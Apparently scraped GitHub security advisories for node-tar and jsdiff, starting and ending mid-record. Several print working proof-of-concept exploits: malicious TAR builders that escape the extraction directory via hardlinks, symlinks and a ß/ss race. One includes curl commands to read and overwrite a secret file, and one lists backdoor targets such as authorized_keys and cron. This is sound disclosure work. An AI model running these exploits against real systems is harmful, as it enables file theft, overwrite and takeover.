"details": "### Summary\nnode-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.\n\n### Details\nThe vulnerability exists in `lib/unpack.js`. When extracting a hardlink, two functions handle the linkpath differently:\n\n**Security check in `[STRIPABSOLUTEPATH]`:**\n```javascript\nconst entryDir = path.posix.dirname(entry.path);\nconst resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));\nif (resolved.startsWith(\u0027../\u0027)) { /* block */ }\n```\n\n**Hardlink creation in `[HARDLINK]`:**\n```javascript\nconst linkpath = path.resolve(this.cwd, entry.linkpath);\nfs.linkSync(linkpath, dest);\n```\n\n**Example:** An application extracts a TAR using `tar.extract({ cwd: \u0027/var/app/uploads/\u0027 })`. The TAR contains entry `a/b/c/d/x` as a hardlink to `../../../../etc/passwd`.\n\n- **Security check** resolves the linkpath relative to the entry\u0027s parent directory: `a/b/c/d/ + ../../../../etc/passwd` = `etc/passwd`. No `../` prefix, so it **passes**.\n\n- **Hardlink creation** resolves the linkpath relative to the extraction directory (`this.cwd`): `/var/app/uploads/ + ../../../../etc/passwd` = `/etc/passwd`. This **escapes** to the system\u0027s `/etc/passwd`.\n\nThe security check and hardlink creation use different starting points (entry directory `a/b/c/d/` vs extraction directory `/var/app/uploads/`), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.\n\n### PoC\n#### Setup\n\nCreate a new directory with these files:\n\n```\npoc/\n\u251c\u2500\u2500 package.json\n\u251c\u2500\u2500 secret.txt \u2190 sensitive file (target)\n\u251c\u2500\u2500 server.js \u2190 vulnerable server\n\u251c\u2500\u2500 create-malicious-tar.js\n\u251c\u2500\u2500 verify.js\n\u2514\u2500\u2500 uploads/ \u2190 created automatically by server.js\n \u2514\u2500\u2500 (extracted files go here)\n```\n\n**package.json**\n```json\n{ \"dependencies\": { \"tar\": \"^7.5.0\" } }\n```\n\n**secret.txt** (sensitive file outside uploads/)\n```\nDATABASE_PASSWORD=supersecret123\n```\n\n**server.js** (vulnerable file upload server)\n```javascript\nconst http = require(\u0027http\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst tar = require(\u0027tar\u0027);\n\nconst PORT = 3000;\nconst UPLOAD_DIR = path.join(__dirname, \u0027uploads\u0027);\nfs.mkdirSync(UPLOAD_DIR, { recursive: true });\n\nhttp.createServer((req, res) =\u003e {\n if (req.method === \u0027POST\u0027 \u0026\u0026 req.url === \u0027/upload\u0027) {\n const chunks = [];\n req.on(\u0027data\u0027, c =\u003e chunks.push(c));\n req.on(\u0027end\u0027, async () =\u003e {\n fs.writeFileSync(path.join(UPLOAD_DIR, \u0027upload.tar\u0027), Buffer.concat(chunks));\n await tar.extract({ file: path.join(UPLOAD_DIR, \u0027upload.tar\u0027), cwd: UPLOAD_DIR });\n res.end(\u0027Extracted\\n\u0027);\n });\n } else if (req.method === \u0027GET\u0027 \u0026\u0026 req.url === \u0027/read\u0027) {\n // Simulates app serving extracted files (e.g., file download, static assets)\n const targetPath = path.join(UPLOAD_DIR, \u0027d\u0027, \u0027x\u0027);\n if (fs.existsSync(targetPath)) {\n res.end(fs.readFileSync(targetPath));\n } else {\n res.end(\u0027File not found\\n\u0027);\n }\n } else if (req.method === \u0027POST\u0027 \u0026\u0026 req.url === \u0027/write\u0027) {\n // Simulates app writing to extracted file (e.g., config update, log append)\n const chunks = [];\n req.on(\u0027data\u0027, c =\u003e chunks.push(c));\n req.on(\u0027end\u0027, () =\u003e {\n const targetPath = path.join(UPLOAD_DIR, \u0027d\u0027, \u0027x\u0027);\n if (fs.existsSync(targetPath)) {\n fs.writeFileSync(targetPath, Buffer.concat(chunks));\n res.end(\u0027Written\\n\u0027);\n } else {\n res.end(\u0027File not found\\n\u0027);\n }\n });\n } else {\n res.end(\u0027POST /upload, GET /read, or POST /write\\n\u0027);\n }\n}).listen(PORT, () =\u003e console.log(`http://localhost:${PORT}`));\n```\n\n**create-malicious-tar.js** (attacker creates exploit TAR)\n```javascript\nconst fs = require(\u0027fs\u0027);\n\nfunction tarHeader(name, type, linkpath = \u0027\u0027, size = 0) {\n const b = Buffer.alloc(512, 0);\n b.write(name, 0); b.write(\u00270000644\u0027, 100); b.write(\u00270000000\u0027, 108);\n b.write(\u00270000000\u0027, 116); b.write(size.toString(8).padStart(11, \u00270\u0027), 124);\n b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, \u00270\u0027), 136);\n b.write(\u0027 \u0027, 148);\n b[156] = type === \u0027dir\u0027 ? 53 : type === \u0027link\u0027 ? 49 : 48;\n if (linkpath) b.write(linkpath, 157);\n b.write(\u0027ustar\\x00\u0027, 257); b.write(\u002700\u0027, 263);\n let sum = 0; for (let i = 0; i \u003c 512; i++) sum += b[i];\n b.write(sum.toString(8).padStart(6, \u00270\u0027) + \u0027\\x00 \u0027, 148);\n return b;\n}\n\n// Hardlink escapes to parent directory\u0027s secret.txt\nfs.writeFileSync(\u0027malicious.tar\u0027, Buffer.concat([\n tarHeader(\u0027d/\u0027, \u0027dir\u0027),\n tarHeader(\u0027d/x\u0027, \u0027link\u0027, \u0027../secret.txt\u0027),\n Buffer.alloc(1024)\n]));\nconsole.log(\u0027Created malicious.tar\u0027);\n```\n\n#### Run\n\n```bash\n# Setup\nnpm install\necho \"DATABASE_PASSWORD=supersecret123\" \u003e secret.txt\n\n# Terminal 1: Start server\nnode server.js\n\n# Terminal 2: Execute attack\nnode create-malicious-tar.js\ncurl -X POST --data-binary @malicious.tar http://localhost:3000/upload\n\n# READ ATTACK: Steal secret.txt content via the hardlink\ncurl http://localhost:3000/read\n# Returns: DATABASE_PASSWORD=supersecret123\n\n# WRITE ATTACK: Overwrite secret.txt through the hardlink\ncurl -X POST -d \"PWNED\" http://localhost:3000/write\n\n# Confirm secret.txt was modified\ncat secret.txt\n```\n### Impact\n\nAn attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:\n\n**Immediate (Read Attack):** If the application serves extracted files, attacker can read any file readable by the process.\n\n**Conditional (Write Attack):** If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.\n\n### Remote Code Execution / Server Takeover\n\n| Attack Vector | Target File | Result |\n|--------------|-------------|--------|\n| SSH Access | `~/.ssh/authorized_keys` | Direct shell access to server |\n| Cron Backdoor | `/etc/cron.d/*`, `~/.crontab` | Persistent code execution |\n| Shell RC Files | `~/.bashrc`, `~/.profile` | Code execution on user login |\n| Web App Backdoor | Application `.js`, `.php`, `.py` files | Immediate RCE via web requests |\n| Systemd Services | `/etc/systemd/system/*.service` | Code execution on service restart |\n| User Creation | `/etc/passwd` (if running as root) | Add new privileged user |\n\n## Data Exfiltration \u0026 Corruption\n\n1. **Overwrite arbitrary files** via hardlink escape + subsequent write operations\n2. **Read sensitive files** by creating hardlinks that point outside extraction directory\n3. **Corrupt databases** and application state\n4. **Steal credentials** from config files, `.env`, secrets",
"id": "GHSA-34x7-hfp2-rc4v",
"modified": "2026-01-28T16:35:31Z",
"published": "2026-01-28T16:35:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24842"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal"
}
GHSA-R6Q2-HW4H-H46W
Vulnerability from github – Published: 2026-01-21 01:05 – Updated: 2026-03-16 14:23TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS
AUTHOR: Tomás Illuminati
Details
A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.
// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
paths =
isWindows ?
['win32 parallelization disabled']
: paths.map(p => {
return stripTrailingSlashes(
join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
).toLowerCase()
})
In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:
bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 .
drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 ..
-rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collision_test_ss
bash-3.2$
PoC
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');
const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);
console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);
// Construct stream
const stream = new PassThrough();
const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);
// Key 1: "f_ss"
const header1 = new tar.Header({
path: 'collision_ss',
mode: 0o644,
size: contentA.length,
});
header1.encode();
// Key 2: "f_ß"
const header2 = new tar.Header({
path: 'collision_ß',
mode: 0o644,
size: contentB.length,
});
header2.encode();
// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End
stream.write(Buffer.alloc(1024));
stream.end();
// Extract
const extract = new tar.Unpack({
cwd: exploitDir,
// Ensure jobs is high enough to allow parallel processing if locks fail
jobs: 8
});
stream.pipe(extract);
extract.on('end', () => {
console.log('[*] Extraction complete');
// Check what exists
const files = fs.readdirSync(exploitDir);
console.log('[*] Files in exploit dir:', files);
files.forEach(f => {
const p = path.join(exploitDir, f);
const stat = fs.statSync(p);
const content = fs.readFileSync(p, 'utf8');
console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
});
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
console.log('\[*] GOOD');
} else {
console.log('[-] No collision');
}
});
Impact
This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.
Remediation
Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').
Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.5.3"
},
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23950"
],
"database_specific": {
"cwe_ids": [
"CWE-176",
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-21T01:05:49Z",
"nvd_published_at": "2026-01-20T01:15:57Z",
"severity": "HIGH"
},
"details": "**TITLE**: Race Condition in node-tar Path Reservations via Unicode Sharp-S (\u00df) Collisions on macOS APFS\n\n**AUTHOR**: Tom\u00e1s Illuminati\n\n### Details\n\nA race condition vulnerability exists in `node-tar` (v7.5.3) this is to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `\u00df` and `ss`), allowing them to be processed in parallel. This bypasses the library\u0027s internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.\n\n```typescript\n// node-tar/src/path-reservations.ts (Lines 53-62)\nreserve(paths: string[], fn: Handler) {\n paths =\n isWindows ?\n [\u0027win32 parallelization disabled\u0027]\n : paths.map(p =\u003e {\n return stripTrailingSlashes(\n join(normalizeUnicode(p)), // \u003c- THE PROBLEM FOR MacOS FS\n ).toLowerCase()\n })\n\n```\n\nIn MacOS the ```join(normalizeUnicode(p)), ``` FS confuses \u00df with ss, but this code does not. For example:\n\n``````bash\nbash-3.2$ printf \"CONTENT_SS\\n\" \u003e collision_test_ss\nbash-3.2$ ls\ncollision_test_ss\nbash-3.2$ printf \"CONTENT_ESSZETT\\n\" \u003e collision_test_\u00df\nbash-3.2$ ls -la\ntotal 8\ndrwxr-xr-x 3 testuser staff 96 Jan 19 01:25 .\ndrwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 ..\n-rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collision_test_ss\nbash-3.2$ \n``````\n\n---\n\n### PoC\n\n``````javascript\nconst tar = require(\u0027tar\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst { PassThrough } = require(\u0027stream\u0027);\n\nconst exploitDir = path.resolve(\u0027race_exploit_dir\u0027);\nif (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });\nfs.mkdirSync(exploitDir);\n\nconsole.log(\u0027[*] Testing...\u0027);\nconsole.log(`[*] Extraction target: ${exploitDir}`);\n\n// Construct stream\nconst stream = new PassThrough();\n\nconst contentA = \u0027A\u0027.repeat(1000);\nconst contentB = \u0027B\u0027.repeat(1000);\n\n// Key 1: \"f_ss\"\nconst header1 = new tar.Header({\n path: \u0027collision_ss\u0027,\n mode: 0o644,\n size: contentA.length,\n});\nheader1.encode();\n\n// Key 2: \"f_\u00df\"\nconst header2 = new tar.Header({\n path: \u0027collision_\u00df\u0027,\n mode: 0o644,\n size: contentB.length,\n});\nheader2.encode();\n\n// Write to stream\nstream.write(header1.block);\nstream.write(contentA);\nstream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding\n\nstream.write(header2.block);\nstream.write(contentB);\nstream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding\n\n// End\nstream.write(Buffer.alloc(1024));\nstream.end();\n\n// Extract\nconst extract = new tar.Unpack({\n cwd: exploitDir,\n // Ensure jobs is high enough to allow parallel processing if locks fail\n jobs: 8 \n});\n\nstream.pipe(extract);\n\nextract.on(\u0027end\u0027, () =\u003e {\n console.log(\u0027[*] Extraction complete\u0027);\n\n // Check what exists\n const files = fs.readdirSync(exploitDir);\n console.log(\u0027[*] Files in exploit dir:\u0027, files);\n files.forEach(f =\u003e {\n const p = path.join(exploitDir, f);\n const stat = fs.statSync(p);\n const content = fs.readFileSync(p, \u0027utf8\u0027);\n console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);\n });\n\n if (files.length === 1 || (files.length === 2 \u0026\u0026 fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {\n console.log(\u0027\\[*] GOOD\u0027);\n } else {\n console.log(\u0027[-] No collision\u0027);\n }\n});\n\n``````\n\n---\n\n### Impact\nThis is a **Race Condition** which enables **Arbitrary File Overwrite**. This vulnerability affects users and systems using **node-tar on macOS (APFS/HFS+)**. Because of using `NFD` Unicode normalization (in which `\u00df` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `\u00df` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive.\n\n---\n\n### Remediation\n\nUpdate `path-reservations.js` to use a normalization form that matches the target filesystem\u0027s behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase(\u0027en\u0027)` and then `toLocaleUpperCase(\u0027en\u0027)`.\n\nUsers who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.\n\n---",
"id": "GHSA-r6q2-hw4h-h46w",
"modified": "2026-03-16T14:23:26Z",
"published": "2026-01-21T01:05:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23950"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS"
}
GHSA-73RR-HH4G-FPGX
Vulnerability from github – Published: 2026-01-14 21:34 – Updated: 2026-01-30 17:13Impact
Attempting to parse a patch whose filename headers contain the line break characters \r, \u2028, or \u2029 can cause the parsePatch method to enter an infinite loop. It then consumes memory without limit until the process crashes due to running out of memory.
Applications are therefore likely to be vulnerable to a denial-of-service attack if they call parsePatch with a user-provided patch as input. A large payload is not needed to trigger the vulnerability, so size limits on user input do not provide any protection. Furthermore, some applications may be vulnerable even when calling parsePatch on a patch generated by the application itself if the user is nonetheless able to control the filename headers (e.g. by directly providing the filenames of the files to be diffed).
The applyPatch method is similarly affected if (and only if) called with a string representation of a patch as an argument, since under the hood it parses that string using parsePatch. Other methods of the library are unaffected.
Finally, a second and lesser bug - a ReDOS - also exhibits when those same line break characters are present in a patch's patch header (also known as its "leading garbage"). A maliciously-crafted patch header of length n can take parsePatch O(n³) time to parse.
Patches
All vulnerabilities described are fixed in v8.0.3.
Workarounds
If using a version of jsdiff earlier than v8.0.3, do not attempt to parse patches that contain any of these characters: \r, \u2028, or \u2029.
References
PR that fixed the bug: https://github.com/kpdecker/jsdiff/pull/649
CVE Notes
Note that although the advisory describes two bugs, they each enable exactly the same attack vector (that an attacker who controls input to parsePatch can cause a DOS). Fixing one bug without fixing the other therefore does not fix the vulnerability and does not provide any security benefit. Therefore we assume that the bugs cannot possibly constitute Independently Fixable Vulnerabilities in the sense of CVE CNA rule 4.2.11, but rather that this advisory is properly construed under the rules as describing a single Vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "diff"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "8.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "diff"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.2.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "diff"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "diff"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-24001"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-14T21:34:12Z",
"nvd_published_at": "2026-01-22T03:15:47Z",
"severity": "LOW"
},
"details": "### Impact\n\nAttempting to parse a patch whose filename headers contain the line break characters `\\r`, `\\u2028`, or `\\u2029` can cause the `parsePatch` method to enter an infinite loop. It then consumes memory without limit until the process crashes due to running out of memory.\n\nApplications are therefore likely to be vulnerable to a denial-of-service attack if they call `parsePatch` with a user-provided patch as input. A large payload is not needed to trigger the vulnerability, so size limits on user input do not provide any protection. Furthermore, some applications may be vulnerable even when calling `parsePatch` on a patch generated by the application itself if the user is nonetheless able to control the filename headers (e.g. by directly providing the filenames of the files to be diffed).\n\nThe `applyPatch` method is similarly affected if (and only if) called with a string representation of a patch as an argument, since under the hood it parses that string using `parsePatch`. Other methods of the library are unaffected.\n\nFinally, a second and lesser bug - a ReDOS - also exhibits when those same line break characters are present in a patch\u0027s *patch* header (also known as its \"leading garbage\"). A maliciously-crafted patch header of length *n* can take `parsePatch` O(*n*\u00b3) time to parse.\n\n### Patches\n\nAll vulnerabilities described are fixed in v8.0.3.\n\n### Workarounds\n\nIf using a version of jsdiff earlier than v8.0.3, do not attempt to parse patches that contain any of these characters: `\\r`, `\\u2028`, or `\\u2029`.\n\n### References\n\nPR that fixed the bug: https://github.com/kpdecker/jsdiff/pull/649\n\n\n### CVE Notes\n\nNote that although the advisory describes two bugs, they each enable exactly the same attack vector (that an attacker who controls input to `parsePatch` can cause a DOS). Fixing one bug without fixing the other therefore does not fix the vulnerability and does not provide any security benefit. Therefore we assume that the bugs cannot possibly constitute Independently Fixable Vulnerabilities in the sense of CVE CNA rule 4.2.11, but rather that this advisory is properly construed under the rules as describing a single Vulnerability.",
"id": "GHSA-73rr-hh4g-fpgx",
"modified": "2026-01-30T17:13:35Z",
"published": "2026-01-14T21:34:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kpdecker/jsdiff/security/advisories/GHSA-73rr-hh4g-fpgx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24001"
},
{
"type": "WEB",
"url": "https://github.com/kpdecker/jsdiff/issues/653"
},
{
"type": "WEB",
"url": "https://github.com/kpdecker/jsdiff/pull/649"
},
{
"type": "WEB",
"url": "https://github.com/kpdecker/jsdiff/commit/15a1585230748c8ae6f8274c202e0c87309142f5"
},
{
"type": "PACKAGE",
"url": "https://github.com/kpdecker/jsdiff"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "jsdiff has a Denial of Service vulnerability in parsePatch and applyPatch"
}
GHSA-8QQ5-RM4J-MR97
Vulnerability from github – Published: 2026-01-16 21:16 – Updated: 2026-02-18 23:43Summary
The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets.
Details
The vulnerability exists in src/unpack.ts within the [HARDLINK] and [SYMLINK] methods.
1. Hardlink Escape (Arbitrary File Overwrite)
The extraction logic uses path.resolve(this.cwd, entry.linkpath) to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (entry.linkpath) is an absolute path, path.resolve ignores the first argument (this.cwd) entirely and returns the absolute path.
The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., /etc/passwd) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.
2. Symlink Poisoning
The extraction logic passes the user-supplied entry.linkpath directly to fs.symlink without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (../../), even when secure extraction defaults are used.
PoC
The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to /etc/passwd). It then extracts the archive using standard node-tar settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.
const fs = require('fs')
const path = require('path')
const tar = require('tar')
const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'
// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')
// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
path: 'exploit_hard',
type: 'Link',
size: 0,
linkpath: secret
})
h1.encode()
// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
path: 'exploit_sym',
type: 'SymbolicLink',
size: 0,
linkpath: targetSym
})
h2.encode()
// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))
console.log('[*] Extracting malicious tarball...')
// 3. Extract with default secure settings
tar.x({
cwd: out,
file: tarFile,
preservePaths: false
}).then(() => {
console.log('[*] Verifying payload...')
// Test Hardlink Overwrite
try {
fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
} else {
console.log('[-] Hardlink failed')
}
} catch (e) {}
// Test Symlink Poisoning
try {
if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
} else {
console.log('[-] Symlink failed')
}
} catch (e) {}
})
Impact
- Arbitrary File Overwrite: An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.
- Remote Code Execution (RCE): In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all
LinkandSymbolicLinktar entries from extracted packages.)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.5.2"
},
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23745"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-16T21:16:20Z",
"nvd_published_at": "2026-01-16T22:16:26Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe `node-tar` library (`\u003c= 7.5.2`) fails to sanitize the `linkpath` of `Link` (hardlink) and `SymbolicLink` entries when `preservePaths` is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to **Arbitrary File Overwrite** via hardlinks and **Symlink Poisoning** via absolute symlink targets.\n\n### Details\n\nThe vulnerability exists in `src/unpack.ts` within the `[HARDLINK]` and `[SYMLINK]` methods.\n\n**1. Hardlink Escape (Arbitrary File Overwrite)**\n\nThe extraction logic uses `path.resolve(this.cwd, entry.linkpath)` to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (`entry.linkpath`) is an **absolute path**, `path.resolve` ignores the first argument (`this.cwd`) entirely and returns the absolute path.\n\nThe library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., `/etc/passwd`) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.\n\n**2. Symlink Poisoning**\n\nThe extraction logic passes the user-supplied `entry.linkpath` directly to `fs.symlink` without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (`../../`), even when secure extraction defaults are used.\n\n### PoC\n\nThe following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to `/etc/passwd`). It then extracts the archive using standard `node-tar` settings and demonstrates the vulnerability by verifying that the local \"secret\" file was successfully overwritten.\n\n```javascript\nconst fs = require(\u0027fs\u0027)\nconst path = require(\u0027path\u0027)\nconst tar = require(\u0027tar\u0027)\n\nconst out = path.resolve(\u0027out_repro\u0027)\nconst secret = path.resolve(\u0027secret.txt\u0027)\nconst tarFile = path.resolve(\u0027exploit.tar\u0027)\nconst targetSym = \u0027/etc/passwd\u0027\n\n// Cleanup \u0026 Setup\ntry { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}\nfs.mkdirSync(out)\nfs.writeFileSync(secret, \u0027ORIGINAL_DATA\u0027)\n\n// 1. Craft malicious Link header (Hardlink to absolute local file)\nconst h1 = new tar.Header({\n path: \u0027exploit_hard\u0027,\n type: \u0027Link\u0027,\n size: 0,\n linkpath: secret \n})\nh1.encode()\n\n// 2. Craft malicious Symlink header (Symlink to /etc/passwd)\nconst h2 = new tar.Header({\n path: \u0027exploit_sym\u0027,\n type: \u0027SymbolicLink\u0027,\n size: 0,\n linkpath: targetSym \n})\nh2.encode()\n\n// Write binary tar\nfs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))\n\nconsole.log(\u0027[*] Extracting malicious tarball...\u0027)\n\n// 3. Extract with default secure settings\ntar.x({\n cwd: out,\n file: tarFile,\n preservePaths: false\n}).then(() =\u003e {\n console.log(\u0027[*] Verifying payload...\u0027)\n\n // Test Hardlink Overwrite\n try {\n fs.writeFileSync(path.join(out, \u0027exploit_hard\u0027), \u0027OVERWRITTEN\u0027)\n \n if (fs.readFileSync(secret, 